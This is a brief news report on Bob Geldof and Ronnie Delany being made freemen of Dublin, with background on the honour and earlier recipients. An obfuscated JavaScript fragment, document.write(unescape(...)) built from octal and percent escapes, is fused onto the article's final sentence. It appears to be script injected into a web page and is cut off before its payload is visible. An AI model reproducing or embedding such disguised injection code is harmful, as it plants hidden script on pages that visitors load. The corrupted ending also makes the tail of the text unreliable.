Bob Geldof made freemen of Dublin

Anti-poverty campaigner and former rock musician Bob Geldof was awarded the freedom of his home city of Dublin, a city council spokesman said.

Also honoured with the rarely conferred accolade by Lord Mayor Catherine Byrne was Ronnie Delany, who won the gold medal in the 1,500 metres at the 1956 Melbourne Olympics.

Geldof said he was "flattered and honoured".

Both men were presented with scrolls and crystal globes, chosen to symbolise their achievements on the world stage, during a ceremony outside Dublin's Mansion House.

The decision to grant them Dublin's highest honour was taken unanimously by city councillors last year.

The freedom has only been conferred on 72 other people, ranging from presidents and prisoners of conscience to sports personalities and entertainment stars.

The first recipient in 1876 was Isaac Butt, the founder of Ireland's home rule movement, and a member of parliament in London during British colonial rule of the Emerald Isle.

Since then Nelson Mandela, members of Irish rock group U2, Burmese opposition leader Aung San Suu Kyi, Mother Teresa of Calcutta, Tour de France winner Stephen Roche, Pope John Paul II and US Presidents Ulysses Grant, John F Kennedy and Bill Clinton have joined the freeman roll.

Under old city charters, the honour bestowed limited rights such as the freedom to graze animals on common land in Dublin.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;